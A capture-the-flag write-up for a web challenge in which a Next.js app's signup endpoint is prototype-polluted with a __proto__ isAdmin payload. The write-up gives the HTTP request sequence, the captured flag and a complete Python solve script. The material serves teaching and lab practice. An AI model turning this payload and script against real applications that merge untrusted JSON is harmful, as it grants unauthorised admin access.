Mutation World#

Description#

The application is a Next.js site with username-only signup and login flows: POST /api/createUser with JSON {"username": "..."} POST /api/login with JSON {"username": "..."} The dashboard frontend also reveals that a restricted attraction exists and that the backend may return a flag field when generating a ticket: POST /api/generateTicket with JSON {"attractionId": ...}

Category#

Web

Difficulty#

Medium

Approach#

Analyze the target behavior, isolate the vulnerable primitive, and execute a reproducible exploit chain to retrieve the flag.

Challenge summary#

The application is a Next.js site with username-only signup and login flows:

POST /api/createUser with JSON {"username": "..."}
POST /api/login with JSON {"username": "..."}

The dashboard frontend also reveals that a restricted attraction exists and that the backend may return a flag field when generating a ticket:

POST /api/generateTicket with JSON {"attractionId": ...}

Root cause#

The backend unsafely merges attacker-controlled JSON during user creation. By sending a __proto__ object, we can prototype-pollute the created user so that isAdmin is inherited as true.

This payload is enough to create an admin session:

1
{
2
  "username": "mutant_demo",
3
  "__proto__": {
4
    "isAdmin": true
5
  }
6
}

After logging in with that username, the dashboard renders with the ADMIN badge and exposes the hidden attraction:

Capture The Flag
attractionId: 5
restricted: true

Exploitation steps#

Register a user with a JSON body that includes __proto__.isAdmin = true.
Log in as that same user.
Request a ticket for attraction 5.
Read the flag field from the JSON response.

Live exploit request sequence#

1
POST /api/createUser
2
Content-Type: application/json
3

4
{"username":"mutant_demo","__proto__":{"isAdmin":true}}

1
POST /api/login
2
Content-Type: application/json
3

4
{"username":"mutant_demo"}

1
POST /api/generateTicket
2
Content-Type: application/json
3

4
{"attractionId":5}

Observed response:

1
{
2
  "message": "Ticket Generated",
3
  "flag": "VBD{prototype_pollut1on_1s_fun_25ec66eed809077f24e1e750b828e179}"
4
}

Flag#

1
VBD{prototype_pollut1on_1s_fun_25ec66eed809077f24e1e750b828e179}

Solve script#

1
import argparse
2
import random
3
import re
4
import string
5
import sys
6

7
import requests
8

9

10
def random_username(prefix: str = "mutant") -> str:
11
    suffix = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
12
    return f"{prefix}_{suffix}"
13

14

15
def create_admin_session(base_url: str, username: str) -> requests.Session:
16
    session = requests.Session()
17

18
    create_response = session.post(
19
        f"{base_url}/api/createUser",
20
        json={"username": username, "__proto__": {"isAdmin": True}},
21
        timeout=10,
22
    )
23
    create_response.raise_for_status()
24

25
    login_response = session.post(
26
        f"{base_url}/api/login",
27
        json={"username": username},
28
        timeout=10,
29
    )
30
    login_response.raise_for_status()
31

32
    return session
33

34

35
def fetch_flag(base_url: str, session: requests.Session) -> str:
36
    ticket_response = session.post(
37
        f"{base_url}/api/generateTicket",
38
        json={"attractionId": 5},
39
        timeout=10,
40
    )
41
    ticket_response.raise_for_status()
42

43
    data = ticket_response.json()
44
    flag = data.get("flag", "")
45
    if not re.fullmatch(r"VBD\{[^}]+\}", flag):
46
        raise ValueError(f"Unexpected response: {data}")
47
    return flag
48

49

50
def main() -> int:
51
    parser = argparse.ArgumentParser(description="Solve the Mutation World web challenge")
52
    parser.add_argument(
53
        "--url",
54
        default="http://ctf.vulnbydefault.com:36201",
55
        help="Base URL of the Mutation World instance",
56
    )
57
    parser.add_argument(
58
        "--username",
59
        default=random_username(),
60
        help="Username to register for the exploit",
61
    )
62
    args = parser.parse_args()
63

64
    try:
65
        session = create_admin_session(args.url.rstrip("/"), args.username)
66
        flag = fetch_flag(args.url.rstrip("/"), session)
67
    except Exception as exc:
68
        print(f"[!] Exploit failed: {exc}", file=sys.stderr)
69
        return 1
70

71
    print(f"[+] Username: {args.username}")
72
    print(f"[+] Flag: {flag}")
73
    return 0
74

75

76
if __name__ == "__main__":
77
    raise SystemExit(main())

Run#

1
python solve_mutation_world.py